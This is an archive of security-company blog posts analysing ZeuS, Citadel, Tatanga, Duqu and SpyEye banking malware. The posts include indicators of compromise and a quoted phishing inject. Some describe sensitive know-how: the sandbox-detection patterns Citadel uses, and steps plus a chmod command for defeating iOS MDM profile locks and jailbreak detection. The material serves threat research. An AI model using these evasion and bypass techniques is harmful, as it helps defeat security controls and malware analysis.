S21sec Security Blog

Testing your ZeuS variant?

2013-05-17T00:44:00.000-07:00

The ZeuS source code leak is not recent, and we have seen new variants like Ice-IX or Citadel being widely used, but time to time we find a new trojan based on this source code.

Sometimes we see samples that seem to be used for testing purposes. In this case, we have seen one interesting sample based on ZeuS source code. It seems that it has been tested during last weeks, as compilation date is dated on April 9th.

It is funny to see how it sends debug information to a server that has been hardcoded, and which path is "/test/debug.php". For example, once infected it encrypts this info with RC4:

[16:59:13] TC=0000000008, PID=0448(0x01C0), TID=1324(0x052C), LE=0(0x0), F=initUserData, FL=C:\Zeus projects\last\bot_chela_antirapport_with_x (512)..INFO: coreData.currentUser.id="0x2053D9C1", coreData.currentUser.sessionId="0"

It has some curious features that are not present in ZeuS, like detecting sandboxes, antivirus or antimalware software. For example, it is able to detect the usage of DeepFreeze or Wireshark, or if some "internal" stuff from SandBoxie, Anubis, or Camas sandboxes is found. The searched patterns are encrypted (usual ZeuS string encryption), but their references are not encrypted, and we can inherit the behaviour of the trojan just taking a look to the strings.

It seems that it doesn't like to work with other malware families, as some strings show that it tries to clean other infections, like ZeusV2 and SpyEye ones.

SpyEye Kill Mutex Name: %hs

SpyEye registry value: %s, path: %s

SpyEyeRemove

Zeus v2 deleted

zeusV2Remove

Zeus v2 deleted

Of course, the name of the project by itself looks very interesting ("zeus projects", "antirapport", "with x64", "chela"?):

C:\Zeus projects\last\bot_chela_antirapport_with_x64\source\client\...

The comments in the code shows very clearly the intention of the code. For example, regarding to Windows Firewall (windowsfirewall.cpp):

WindowsFirewall::FirewallAddExclusions"

"Added exclusion for %s"

"Exclusion for %s is re-enabled"

"Exclusion for %s is already in the list"

"Firewall DONE"

And there are a lot of interesting strings:

In IE!

I'm a installer.

I'm a loader.

Current process started from system account. Installing to all users.

Malware report to server: %d

MalwareDelete::_removeAll

Accepted client connection.

Accepted new conection from bot (BotID: %s, IP: %s).

Accepted new conection from client (IP: %s), but bot not connected! Disconnecting client!

...

Nothing to add, just "thank you developer" for doing (at least this time) our work easier.

Mikel Gastesi
S21Sec ACSS

Collaboration for a More Secure Europe

2013-05-03T02:21:00.001-07:00

I hope by the time you are reading this blog post you will have already heard about the European Cyber Security Group for those of you that have not read about this new alliance let me give you a very quick overview. The European Cyber Security Group (ECSG) is Europe’s largest independent cyber defence force, created to address the growing threats to Europe’s cyber security.
The ECSG:

Leverages the expertise of 600+ experts in cyber security
Has on the ground experience supporting 2,000 unique government and industry clients
Delivers seamless cooperation across member companies for agile and customized emergency response
Is an objective advocate and policy advisor on cyber crime risk, prevention, mitigation and effective cross-border cooperation

The Numbers:

Combined turnover approx 61 million Euros
2000 unique clients covering the globe
Besides various governments we have clients in all major industry verticals, Finance, Manufacturing, Banking, Retail, Transport and Pharma.

S21sec was one of the founding members of this dynamic collection of cyber security companies who have come together to pool not only their expertise but also resources in the fight against cyber crime. The members are as follows:

I am sure the immediate question that may come to the readers mind is why now. The reasons are many and perhaps to intricate to go into at great length in this blog. This is a conversation we are going to engage with as we meet leaders both from the private and public sectors. I would encourage existing and potential customers to both contact me directly for further information on the goals the alliance has set itself.

I personally believe that creation of this new alliance is going to drive forward significant enhancements in the manner in which we deliver our services. One of the most exciting challenges that await us is the wealth of data that we have between us. You could use the expression (big data) and I think it would be most apt in this instance. This rich seem of intelligence and threat information will take some time to get through but once we have completed

This task it will provide the alliance with a deeper and more nuanced understanding of what is happening out there in the underground economy. The very first service that the alliance will be lunching is the Incident Response Team (IRT). Our goal in setting this team up was to create the largest and technically one of the most sophisticated IRT´s in the world that could respond to any type of breach taking place anywhere in the world. By tackling CERT engagements collaboratively,

ECSG offers the most comprehensive and rapid services for corporate and government clients. Members work independently, and can draw from additional and specialized resources from their ECSG partners where and when needed. Relying on this added strength in depth ensures successful CERT engagements of any scale. The ECSG will additionally collaborate with the governments of individual countries, as well as the European Union, to advise on best practices and assist on cyber security engagements where necessary to ensure speedy mitigation of security issues.

Finally, ECSG will also lobby local and EU lawmakers to enact legislation to ease the cross-border information sharing and cooperation that will ultimately lead to a more secure Europe. From a personal perspective I am very excited that S21sec will have the opportunity to work alongside some of the most talented teams in Europe in order to tackle the issue of cyber crime. I would once like to encourage all readers of our blog to engage with me to learn more about the work of the ECSG and how we may be able to assist you in tackling the cyber security problems you face. I would also like to encourage you to spread the word for we open to speaking with any institution or organisation no matter where it is located in the world. This does feel the like the dawn of new and exciting journey and we would like you all to be part of it.

Nahim Fazal
Cybercrime and Fraud SME S21sec

Sopelka Botnet: three banking trojans and one banking panel

2012-10-17T12:51:00.000-07:00

Sopelka botnet started life in May this year and was taken down by end of September. It has been called Sopelka because of the path used in the distribution of binaries and configuration files, and was an odd mixture of variants of the known banking trojans Tatanga, Feodo and Citadel.

This botnet’s objective was the collection of banking credentials from European entities, mostly banks from Spain and Germany, but also Holland, Italy and Malta. In addition, it made use of different mobile components for Android, BlackBerry and Symbian phones. Symbian was the first operating system where this type of malicious component emerged two years ago.

During the botnet’s lifetime there were at least five campaigns and it’s likely that more were carried out. Of the five known campaigns, three of them installed variants of Citadel (versions 1.3.4.0 and 1.3.4.5), another Feodo, and Tatanga was the chosen trojan in the other one. All the Citadel campaigns carried the name “sopelka” (a flute type in Russian) in their download paths for binaries and configuration files, but this was not the case with Tatanga and Feodo.

Campaign	Date	Trojan	Path	Countries
Sopelka1	01/05 30/05	Citadel 1.3.4.0	/sopelka1/file.php\|file=citsp1.exe /sopelka1/file.php\|file=sopelka1_config.bin	ES,DE, NL
Sopelka2	01/05 30/05	Citadel 1.3.4.0	/sopelka2/file.php\|file=citsp2.exe /sopelka2/file.php\|file=sopelka2_config.bin	ES
Tatanga	15/06 15/07	Tatanga	/sec/g.php	IT, ES, DE, NL
Feodo	15/06 15/07	Feodo	/zb/v_01_a/in/cp.php	ES, NL, DE, IT
Sopelka3	15/08 27/09	Citadel 1.3.4.5	/sopelka3/file.php\|file=citsp3.exe /sopelka3/file.php\|file=sopelka3_config.bin	ES, DE

The HTML injects included only the code necessary to reference JavaScript code located on an external server. The server kept at least one file for each entity, in some cases two or three. In this way, the criminals could modify content and injects to their hearts desire without needing to create and distribute a new configuration file for each of their bots. Furthermore, the injection file was not found in an accessible file, as in the following example:

https://domain.com/dir/inject.js

Instead, they made use of a PHP file to control and serve the JavaScript code with a URL in the following format:

https://domain.com/dir/get.php/campaignDir/?name=inject.js

The relationship between the use of Tatanga, Feodo and Citadel by the same group of cybercriminals was made because in all configuration files the same URL format could be identified to obtain the external code, using the same path and the file get.php. In fact, all of them were sending the banking credentials to the same panel, a different panel than the specific for each trojan. This control panel stored only banking credentials.

Finally, the "tatangakatanga" string was found in Citadel configs and another kind of URL was detected that could be used to retrieve external JavaScript and has been related to Tatanga since the start:

https://domain.com/dir/x.php?cmdid=8&gettype=js&id=inyeccion.js&uid=0000

When the Tatanga trojan emerged, it used a URL with a similar format that contained the word “tatangakatanga”, which was where the name of this new banking malicious code came from:

https://212.124.110.18:444/tatangakatanga/x.php?gettype=image&id=loaderfid.gif

Security investigators from Shadowserver and Abuse.ch made a sinkhole of some of the specified Citadel domains (autumn.kz, wet.kz, advia.kz), distributing the following statistics about requests that arrived from the infected machines to this investigation:

These graphs show the exact affectation of only German and Spanish users, where on average the group of infected German users was more numerous than the Spanish (almost 60% of Germans in contrast to 38% of Spanish). Besides these two outstanding (by the number of connections) groupings, there were others with a much reduced number, such as those that were formed by connections from Switzerland (2%), Portugal (1%) and Italy (almost 0%). Connections with an origin in the United States, Holland, the United Kingdom, Hong Kong and other countries were almost negligible.

In order to get an idea of the botnet size, during the week when data were collected there were more than 16,000 unique IPs connecting to the sinkhole (taking into account that these IPs were not filtered: NAT, researchers, etc.).

Talking about the mobile components used, in the first campaigns only Android and BlackBerry applications were downloaded, even, in some cases, messages were only sent if the operating system was Android. In contrast, in the latest detected campaign, Symbian had been added to the list of supported operating systems.

The functionality of the application was the same, independent of the target operating system. It was a classic mobile component with the same characteristics that were detected for the first time by S21sec back in September 2010. The aim of the application was to forward messages that arrived at the target telephone. It was able to be administrated through sending SMSs and required no communication by HTTP as in the latest .apk’s.

The list of commands was much reduced from the first versions, it only included these three commands (already mentioned by Kaspersky some months ago):

"on": the command used to start monitoring and the resending of messages. If the command ended correctly it was sending a message with the word “ONOK” to the number specified as “admin”.

"off": used to perform the opposite function to the previous command, that is, stop monitoring and forwarding the messages that arrived at the mobile device. If all went well it was sending a message with the word “OFOK” to the selected number.

"set admin": served to change the administrator telephone, where the commands were received and to which the text messages from the infected terminal were forwarded. If there was no error from performing this action, it was sending “SAOK” to the chosen number.

Also, just after starting up, the malicious application was sending the word “INOK” to the number specified as administrator, while in earlier versions the phrase “App installed ok” was sent. After this, it showed the code "7725486193" to the user, which should be entered in the field created by the HTML inject, and this served to indicate that the application had been installed correctly. In all the applications, the number to which the messages were sent was the same; it was +46769436094, a Swedish virtual number.

As a curiosity, in some of the Citadel binaries a message could be read related to Brian Krebs (well-known technical journalist in the world of cyber-crime) which has already been discussed a few months ago:

As mentioned before, some of the facts provided are the result of information sharing amongst the security community, for which we express our gratitude. A special mention goes to the researchers at Fox-IT, Shadowserver and Abuse.ch.

Jose Miguel Esparza
S21sec ACSS
(Blog / Twitter)

Mobile Device Management Security

2012-09-17T01:43:00.000-07:00

From some years ago, almost everybody use mobile devices and mobile Internet access in a daily basis. Nowadays, most corporates allow using smartphones or tablets in order to access to corporate resources such as email or even corporate critical information. Definitely, mobility is in fashion.

Since now mobile devices handle highly critical information, they’re not just phones anymore. Now lots of well-known threats affect these devices and even some new ones.

As a response, some software firms have developed a kind of security software called Mobile Device Management (MDM). This software controls and protects the device by applying security policies on it. For instance, a MDM could block software installation, in order to avoid the device being infected by a user’s misuse.

However, this kind of software rarely can install new features in the mobile operating system, so they often use security features that they already have, but they make easier setup and deployment. For instance, MDMs on iOS usually relies on the Apple Configuration Profiles feature. In addition, these profiles are configured in order to block uninstalls.

That’s fine! It’s true that a user can’t uninstall a profile if “uninstall” button doesn’t exists in the interface, but an advanced user with an access such as SSH (on a Jailbreaked device, of course) can change this profiles in a different way. A configuration profile is stored as an XML file with .stub extension, in the following directory: /private/var/mobile/Library/ConfigurationProfiles/

These XML files, created by MDM software, are easily readable and most of parameters can be changed without any integrity control:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
    <key>InstallDate</key>
    <date>2011-07-27T15:54:44Z</date>
    <key>MCProfileIsRemovalStub</key>
    <true/>
    <key>PayloadContent</key>
    <array>
        <dict>
            <key>PayloadDescription</key>
            <string>Configures security-related items.</string>
            <key>PayloadDisplayName</key>
            <string>Passcode</string>
            <key>PayloadIdentifier</key>
            <string>XXXXXX - Configure.passcode</string>
            <key>PayloadOrganization</key>
            <string>XXXXXX - Configure</string>
            <key>PayloadType</key>
            <string>com.apple.mobiledevice.passwordpolicy</string>
            <key>PayloadUUID</key>
            <string>xxxxxxxx-yyyy-zzzz-wwww-000000000000</string>
            <key>PayloadVersion</key>
            <integer>1</integer>
            <key>allowSimple</key>
            <true/>
            <key>forcePIN</key>
            <true/>
            <key>maxGracePeriod</key>
            <integer>0</integer>
            <key>maxInactivity</key>
            <integer>5</integer>
            <key>minLength</key>
            <integer>4</integer>
            <key>pinHistory</key>
            <integer>0</integer>
            <key>requireAlphanumeric</key>
            <true/>
        </dict>
    </array>
    <key>PayloadDescription</key>
    <string>Payload Count: 1</string>
[...]
    <key>ProfileWasLocked</key>
    <true/>
[...]

All the restrictions about the device use can be bypassed by editing this file. For instance, we can change the “ProfileWasLocked” key and set it up to “false”. Now, something in the user interface must change:

These changes sometimes disappear when a change in a configuration profile is applied, since these files are overwritten. But… what if we just don’t allow this overwrite?

# chmod -w -R /private/var/mobile/Library/ConfigurationProfiles

Of course, Jailbreaking your iOS is mandatory for all these techniques, so MDM software usually try to detect and block jailbreaked devices. Sadly, they mostly use a too easy approach such as looking for an installed application called Cydia, which is the most common alternative “App Store”. As a consequence, you can bypass this kind of jailbreak detection easily, just by renaming an application or making other similar changes.

Summarizing, Mobile Devices should be protected since they sometimes handle highly critical information, but most security software (such as MDM) is not as useful as it should. Be careful when designing and deploying your Mobile Device protections, choose a proper software provider and set it up in detail. If not, it can turn in a waste of time and money.

Jose Selvi
Dept. ACSS S21sec
Twitter / Blog

Citadel Updates: Anti-VM and Encryption change

2012-06-28T02:21:00.000-07:00

While analyzing the latest version of Citadel (1.3.4.5) we were able to observe two changes that try to make malware analysts' life harder. These changes also had been announced on a particular underground forum before they appeared in the wild.

[+] Added anti-emulator, which allows you to protect your botnet from reversing and getting into trackers. When it starts, a built-in detective checks if it is running in a virtual machine or in sandboxed environment (CWSandbox, VMware, Virtualbox), and if it is the case, it starts to behave differently and your botnet go unnoticed. Details were not disclosed, and the technology is very tricky.

Although they did not disclose any specific details about how the so called detection actually works, we could inspect it a bit further. It simply scans through the resources of the currently running processes and looks for specific patterns for instance inside the "CompanyName" field, such like:

*vmware*

*sandbox*

*virtualbox*

*geswall*

*bufferzone*

*safespace*

Nevertheless, the tricky part comes here. When a virtualized environment detected, unlike many other Trojans that stop to work, Citadel will continue to operate, but behaves in a different manner. It will generate a unique-machine dependent domain name (obviously fake) and tries to connect to this server (unsuccessfully), making it to believe that the bot is dead and its command and control server is offline, meanwhile the real C&C domain is kept hidden. You can distinguish between the fake ones because the way they are generated, they look like an md5 hash itself, the C-style format string used is:

http://%02x%02x%02x%02x%02x%02x%02x%02x.com/%02x%02x%02x%02x/%02x%02x%02x%02x.php

If we run a Citadel sample of this kind in a VMWare environment, closing all processes related to VMware (vmwareuser.exe, vmwaretray.exe, ...) will be enough to force Citadel to act normally as if it were running in a physical machine.

Instead of showing Olly or Ida screenshots, we are going to take a different approach. Let's take a dummy application like notepad and replace the company name with a resource editor such like Resource Hacker.

Doing this, if we run notepad, it will result in a fake infection and the malware will create the fake domain (first DNS query in the image), and if we run the Citadel sample without the altered version of notepad we are going to connect to the real C&C (second DNS query).

The another change that has an impact is the slightly modified RC4 algorithm. In altered one, the malware involves an internal "hash" within the algorithm.

While computing the stream cipher, in addition to the normal XOR operations of RC4, in each iteration the value is XORed with hash string's characters in a consecutive way.

The change in the RC4 algorithm affects also how the Trojan communicates with its control panel, due to the same algorithm is used to encrypt network traffic. Therefore the new control panel won't be able to handle connections coming from older versions of the bot.

Mikel Gastesi & Jozsef Gegeny

S21sec ACSS

S21sec detects almost 7,000 vulnerabilities en 2011

2012-03-14T01:31:00.000-07:00

S21sec presents its first ‘Vulnerability Report’ prepared by the Ecrime team integrating the experts of the company in charge of detecting and resolving Internet offences affecting organisations 24 hours a day, 365 days a year. This report gathers the information on vulnerabilities detected by S21sec during this last decade, from 2001 to December 2011, and it intends to build an image of the main threats currently affecting companies and institutions, as well as users.

This ‘Vulnerability Report’ includes all the vulnerabilities detected during the last year. 2011 has been a year marked by the appearance of a large number of high-risk vulnerabilities and the number of vulnerabilities remained relatively constant between months, except for March. The third month of the year registered a high number of vulnerabilities on Apple software which affected a large number of their products, such as iTunes, Safari, Apple IIOS, Mac OSX and iPhones IOS, among others.

We have detected an increase of vulnerabilities during 2011, with growing remote exploitation of vulnerabilities and a sophistication of industry-oriented Trojans such as the case of Stuxnet or Duqu. However, a changing tendency can be observed in browsers where a change can be seen in the exploitation of vulnerabilities from Firefox to Chrome as the latter is reaching the highest market share.

During this year we will still see increasing vulnerabilities to mobile devices with operating systems such as Android or iPhone OS. There are currently 5,600 million mobiles in use (around 77% of the world population has one), amongst which 468 million are Smartphones and this number is estimated to reach 631 million by 2015, thus, logically, the risk of vulnerabilities will also increase to more users and more devices.

This ‘Vulnerability Report’, prepared by the S21sec Ecrime unit, can be downloaded here.

S21sec

A YEAR OF FRAUD (PART I)

2012-01-30T08:14:00.000-08:00

The New Year is the ideal time to present a summary of all that we have seen during 2011. The data that we will present here is related to fraud incidents closed by S21sec's SOC/CERT.

We have acted on 4759 fraud incidents that directly affected our clients, slightly fewer than the number recorded the previous year. The distribution of these incidents can be seen in the following graph.

Once again, the number of phishing related incidents exceeds those related to malicious code. This is mainly due to our clients in Latin America who suffered fewer malicious code incidents.

The following stack chart shows the monthly distribution of all incidents.

Two peaks in the quantity of recorded incidents can clearly be seen. This phenomenon is repeated year after year and usually occurs around holiday periods, when the users are generally more relaxed and less security conscious.

Personally, I feel 2011 has been deceptive, constantly promising major news but failing to deliver. 2010, in contrast, was a remarkable year. It brought with it both new attack methods (MitB, MitMo) and new malicious code families (Tatanga, SpyEye, etc.).

What happened in 2011?

Now that we can review 2011 in its entirety, we could consider it as a transitional year. During 2011 we have seen that the cyber-criminals improved their fraud related methods and tools, but did not introduce any notable innovations.

Could this stagnation be related to the global economic crisis?

It is hard to relate the changes in the fraud typology with economic reality, but there is no doubt that certain aspects have influenced the past few months.

Social engineering attacks, usually made by individuals (not organised), have increased considerably. The costs of preparing this kind of attack are low, which has led to many new individuals (drawn by the chance of rapid returns for minimal investment) entering the scene. This fact is particularly relevant in Latin America, the only place in the world where we have seen an increase in incidents on previous years.

On the other hand, we have the much more complex and expensive malicious code attacks. These are usually made by very well organised mafias with abundant resources. In 2011 we expected SpyEye to takeoff as ZeuS (its main rival) abandoned their development at the end of 2010 and published the source code. However, this did not occur probably because of Spyeye’s elevated price. Furthermore, we have seen how some "gangs" have instead taken advantage of the published ZeuS code to develop new families of malware without having to take on the associated costs.

David Ávila

S21sec ecrime

Tourist Periscope will manage tourist information on the We

2012-01-25T06:50:00.000-08:00

S21sec labs is leading the project Tourist Periscope with the aim of developing the technological solution that will help the tourist sector to detect the different market opportunities and to reduce the strategic decision taking risk by predicting tourist trends.

The Internet is a source of innumerable amounts of information, which often represents a threat for a company as it cannot manage this volume of information or it could mean a business opportunity hard to detect among so much data circulating through the Net.

The exponential increase of information in the tourist sector is translated into serious difficulties for tourist companies, institutions and administrations when managing, identifying and optimising the search for contents of interest for their business.

For this reason, S21sec and thanks to its experience in the development of open-source information classification, indexing and information search technologies, will create the application Tourist Periscope in its R&D centre in security S21sec labs and in cooperation with agents specialised in the tourist sector, from both the academic and corporate environments. This R&D project is framed within the INNPACTO projects of the Ministry of Economy and Competitiveness. The new IT platform will be oriented at the tourist sector and will be able to carry out an efficient information management and rationalisation according to the profile of the client and the purpose that is to be achieved. This new tool is able to carry out analysis of the tourist environment in a customised way and integrated with social networks, generating a Tourist Intelligence unit.

The purpose of Tourist Periscope is to provide companies in the tourist sector with a new user-friendly technological solution to detect the different market opportunities and to reduce the strategic decision taking risk by being ahead of tourist behaviour.

S21sec Marketing Department

New SpyEye Campaign with mobile complement

2012-01-13T03:42:00.000-08:00

More than a year ago we saw for the first time how ZeuS had incorporated a mobile component in an attempt to steal the SMS sent by the banks while making a transfer. Later, SpyEye incorporated the same technique.

Recently, we have seen a new campaign affecting Spanish banks, which urges the user to install a component if their phone is Android. While the first samples came from Symbian and BlackBerry, later versions incorporated Android among its objectives. The widespread use of this platform, along with the ease of developing applications for it, makes it one of the favourite objectives of malware creators.

Infection of a mobile device is not a trivial task, so the user must be tricked, through social engineering, into infecting themselves. For this reason, it is important to understand the risks, as a user who is unaware of the threat that their mobile can be infected, is completely vulnerable to this attack.

In the case in hand, upon visiting the banking entity’s website, an infected computer will try to convince the user to install an application on the mobile phone, making them believe that they are installing a program to secure communications.

Image 1: The user is asked for their phone operating system and phone number (Spanish)

Then comes the verification of the installation, asking for a activation code that the mobile displays once the application is installed.

Image 2: The user confirms an activation code received on their mobile (Spanish)

Finally, a successful installation message is displayed to the user.

Image 3: Application installed successfully – you are now protected (Spanish)

If the mobile is an Android phone, SpyEye simply informs the user that they do not require any further security.

Image 4: Your phone does not require any further security (Spanish)

Despite the fact that many times we have heard the term "SpyEye for Android" incorrectly used, we must be clear that the component that infects mobiles is not a version of SpyEye, as it is not capable of intercepting on-line banking navigation or anything similar. This is a very simple application, able to forward received SMSs to an external server using a simple GET request with the data as parameters. It is a merely a complement, totally unrelated to the malware that infects the computer and it could be used interchangeably with any banking trojan.

As an example of the application’s simplicity, the encryption of the string containing the URI of the dropzone consists solely of swapping the values "=", "-" and "q", as can be seen in the following example, very similar to the original URI.

This means that we are facing a new infection campaign which, from a technical point of view, really adds nothing new, but we must stress that people need to understand this kind of threat to avoid falling into the trap.

Mikel Gastesi

S21sec e-crime

Murofet: Changing to zlib

2012-01-12T08:47:00.000-08:00

Time passes and in the world of malware new threats continue to emerge, but the established threats still continue to evolve and everything points to this continuing.

In this blog, we will once again talk about Zeus and, in particular, the version known as Murofet.

Around June, we discussed the different branches of Zeus. We have seen how the developers have implemented new functionality such as P2P and domain name generation in what is known as Murofet 2.0.

In one of the latest samples received, we saw how something didn’t quite fit with the usual behaviour. This was investigated in greater depth and we have discovered that certain sections, instead of being compressed with UCL, have changed to being compressed with zlib.

Image 1: Use of zlib v 1.2.5

Zeus has evolved considerably. Gone is the time when each botnet did not have its own key and encryption consisted of only a simple xor and little more. Recent developments show the creators increasing maturity. They have stopped trying to reinvent the wheel and have been incorporating already existing cryptographic algorithms, much more robust than their predecessors, something completely logical.

If we focus on the gang behind Murofet, in particular, we can see an ongoing development, distinguishing itself ever more from the official version. The changes that have been introduced, step by step, both at the internal level (in terms of the modification of characteristics in the configuration file’s encryption) and the added characteristics mentioned previously, indicate an in-depth knowledge of the subject.

In addition, we must not forget the detail that the first variant was seen before the source code leaked, which makes it clear that the group behind it have very clear objectives.

We will keep playing.

Jozsef Gegeny and Mikel Gastesi

S21sec e-crime

Murofet v2.0 (ZeuS P2P)

2011-11-21T10:27:00.000-08:00

Following on from the previous post about the ZeuS "ACH transaction canceled" distribution campaign, we now turn to look at the distributed binary.

This is version 2.0 of the Zeus variant known as Murofet. It has come to be named ZeuS P2P, due to some of its characteristics, which make use of this technique.

Of all recent versions, this is most evolved with many modifications from the original version. It is rumoured that this version could come from original author of ZeuS, as the modifications require a deep understanding of the original work.

The relationship to the original Murofet can be clearly seen in the configuration files. They are at the same time different from those of the original ZeuS and yet similar to each other. They have new labels in some sections and an easily detectable feature, the ERCP delimiter, as shown in the following image:

In this variant the trojan uses a P2P structure to obtain the configuration file, which is an interesting modification. To do this, it uses a few incorporated IPs, firstly, and attempts to communicate with them via UDP:

Once in communication with the bots belonging to the P2P network, if a newer version is detected, this will be downloaded, using TCP and its own protocol:

If P2P communication fails, it changes to use domain name generation, as the first Murofet version did.

The storage route, both for the binary and the registry paths, are similar to previous versions, but in this version the configuration file is stored with only RC4 encryption without the XOR layer (also known as VisualEncrypt; logically, because it does not provide any security).

Similarly, there is evidence that the trojan deletes the RC4 key from memory after each use, in a clear attempt to prevent it from being detected.

Finally, the C&C server shown in the configuration file appears to be false, in a clear attempt to mislead and delay any analysis.

In summary, this is a modified version of ZeuS, with very advanced characteristics and changes aimed at protecting itself from automatic analysis of the binary and self preservation against the destruction of the network infrastructure, but without any notable functional changes.

Jozsef Gegeny & Santiago Vicente
S21sec e-crime

New ZeuS distribution campaign: ACH transaction canceled

2011-11-18T04:17:00.000-08:00

Our team has detected a ZeuS trojan distribution by email campaign that has been running for some days. The malicious emails include a link to a supposed report about a cancelled transaction, which is actually an HTML page that loads Javascript code into the victim’s browser. This code tries to exploit different vulnerabilities in Java, Flash and PDF to install ZeuS 2.0 on the system. This is one of the latest versions of ZeuS which uses P2P as part of its infrastructure.

The subject of the emails detected so far is “ACH transaction canceled” and in the body of the mail there is information about a supposed transaction that has been cancelled. If the victim wants further information then they have to visit a link that contains a report about the transaction:

For a few seconds the victim sees a screen indicating that they must wait. Meanwhile 4 scripts, stored on different domains are loaded into user’s browser. They are little more than simple redirections towards the site where the code (that will attempt to perform the exploitation) resides.

There are currently three different domains hosting the malicious content, created on the 2nd, 6th and 9th of November and they resolve to the same IP, located in Russia. This malicious content is obfuscated Javascript code that belongs to the BlackHole exploit kit.

Once the code is “de-obfuscated”, several functions can be seen that attempt to exploit vulnerabilities in various plugins installed in the victim’s browser:

Java (CVE-2010-3552, CVE-2010-0886)

Flash

PDF (CVE-2010-0188, CVE-2009-0927, CVE-2009-4324, CVE-2008-2992, CVE-2007-5659)

Media Player

They all use the same (or very similar) shellcode, whose objective is to download and execute the malicious code in question. In the case of the analyzed shellcode, besides executing the binary, stored on the system with a .dll extension, it launches the application Regsvr32 with the parameter -s (silent mode) to try to register the DLL in the system, although the infection has already taken place (the first call to WinExec in the image below).

As mentioned before, the downloaded binary is a ZeuS (P2P version). In the second part of this post we are giving more details (behaviour, affected entities, etc.). Meanwhile update your applications and don’t click on any suspicious links.

Jose Miguel Esparza
S21sec e-crime
(Blog / Twitter)

DUQU: A new threat

2011-10-24T07:03:00.000-07:00

General Information

According to the report presented by Symantec, this trojan was detected for the first time on the 14th of October and later, on the 7th of September they found samples of the driver uploaded to VirusTotal.

According to Symantec, this could herald an attack similar to Stuxnet, written by the authors themselves or at least by programmers with access to the source code. However, this Trojan contains code related to industrial control systems.

The main objective of this new threat is to get information about ICS (industrial control systems) manufacturing companies, to help prepare for a subsequent attack against another company.

Duqu is, basically, a RAT (Remote Admin Trojan) that once introduced in a system, functions as a downloader for other trojans. It consists of a Driver, a DLL and a configuration file. These files are installed by another executable that, as yet, has not been identified. This installer registers the driver as a service that must be executed during system startup. Once executed, the driver injects the DLL into the process services.exe and if the injection is made correctly, the DLL extracts other components that are themselves then injected into other processes.

Duqu uses a valid digital certificate that was revoked on the 14th of October. It also waits 15 minutes before activating, once it arrives on a new machine (probably to avoid being detected in a sandbox). It is designed to automatically remove itself after 36 days.

McAfee’s theory is different. They argue that Duqu is being used to steal certificates from CAs in Europe, Africa and Asia, to afterwards be used for signing malicious code.

A Summary of Behaviour

The malware opens a back-door in the infected system which allows the attackers to obtain the following information from the compromised system:

A list of the processes currently executing, the details of the user’s account and domain information.

Names of the drives and related information, such as shared drives.

Screen captures.

Network information (routing tables, shared objects etc.).

Key strokes (Keylogger).

Names of all open windows.

A list of shared resources.

Exploration of files in all drives, including removable drives.

List of all machines in the domain (through NetServerEnum)

Name of the current module, PID, session ID, Windows directory, Temp directory.

Operating System version, including if it is 64-bit or not.

Information about network adapters.

Information about local time, including the time zone.

Finally, the malware sends all the extracted information in encrypted form to a predetermined control panel (206.183.111.97), at the same time allowing the download of more malicious content from the control panel.

Possible clues for detection

Network traffic

Duqu uses the HTTP and HTTPS protocols to communicate with the control panel (C&C) found at the IP 206.183.111.97. This server is located in India, and has been disabled by the ISP (Web Werks WEBWRKS-PHLA1).

Communications within the range of IP addresses 206.53.48-61.* have been reported. It is highly recommended that communication device logs are reviewed for communications with this IP or any IP within the indicated range.

Detection on infected machines

Symantec has provided the following hashes and file names that have been identified as part of the threat.

MD5	Name	Purpose
0a566b1616c8afeef214372b1a0580c7	cmi4432.pnf	Principal DLL
94c4ef91dfcd0c53a96fdc387f9f9c35	netp192.pnf	Configuration File
e8d6b4dadb96ddb58775e6c85b10b6cc	cmi4464.PNF	Configuration File
b4ac366e24204d821376653279cbad86	netp191.PNF	Principal DLL
4541e850a228eb69fd0f0e924624b245	cmi4432.sys	Driver
0eecd17c6c215b358b7b872b74bfd800	jminet7.sys	Driver
9749d38ae9b9ddd81b50aad679ee87ec	[TEMP FILENAME]	Infostealer
c9a31ea148232b201fe7cb7db5c75f5e	Dropper

Duqu drivers have also been detected using the following file names which were not included in the Symantec report:

nfrd965.sys

adpu321.sys

The driver load is performed by adding some of the following keys to the Windows registry:

HKEY _ LOCAL _ MACHINE\SYSTEM\CurrentControlSet\Services\JmiNET3

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\cmi4432

The detection of these entries in the registry of a Windows system is a clear indication that the machine is infected by Duqu.

S21sec e-crime team

Spitmo control panel

2011-09-21T06:42:00.001-07:00

Last week, we analysed the behaviour of the mobile module used by Spyeye to redirect the victim’s SMSs to the attacker. We have now observed that a panel is used to receive the data collected by the malware, where all received messages are recovered in a simple and clear manner.

The panel that we have located is written entirely in Russian, and has only one button, to refresh the displayed data. It is very simple and its purpose is only to display the data quickly. It is important to mention that on the same host where the panel was housed there was also a SpyEye panel. The two did not appear to be related to each other, but the malware used that same URL as a dropzone.

Below you can see a simulated request, showing the behaviour of the panel and the information it would display:

The process would be as follows, the attacker performs a transfer using the banking data stolen from the user infected with the Spitmo. The moment that the Bank performs a check to see that the transaction is valid it sends an SMS to the mobile phone of the infected user. This SMS is intercepted by malware and forwarded to the panel. Almost instantly, the attacker is in possession of a valid token to carry out the transaction.

The process can be carried out without raising suspicion as it is completely transparent to the user.

All this raises doubts about how safe we are using a device that is continually interacting with the internet and over which we do not have full control of what it is doing in every moment.

Juan Carlos Montes
S21sec e-crime

SpyEye and Man in the Mobile

2011-09-16T05:18:00.000-07:00

On the 2nd of September, the S21sec e-crime team detected a Spyeye sample actively using a MitMo type fraud scheme against Smartphones with the Android Operating System. The binary does show any noteworthy improvement, but the novelty lies in the injection employed to persuade the victim to install the malicious application on their mobile:
(Translated from Spanish)



With regard to the numerous cases of mobile phone card cloning and theft of money from our clients’ accounts, we are obliged to inform and protect all our clients from this.

To fight against this, we have developed an application that protects your telephone from SMS interception and completely guarantees the security of your mobile telephone. The application functions only on mobile telephones that use the Android platform. The holders of these telephones can now set up the application and have problem free access to their account through Internet banking. Users who do not have mobile phones which work on the Android platform, will be forced to buy them for problem free account access and protection from scammers. Until the application is activated on your mobile telephone, you will not be able to access the account through Internet banking.

It is inconvenient, but it is the only way to permit your money to be kept securely. We understand that not everyone has a telephone based on Android, but only this platform is capable of providing the necessary security against this type of fraud. As soon as you have bought a phone that uses the Android platform, return, once again, into your internet banking to download and activate the application on your phone. After this, access to the account via the Internet will be completely unblocked and you will be able to use it.

Note:

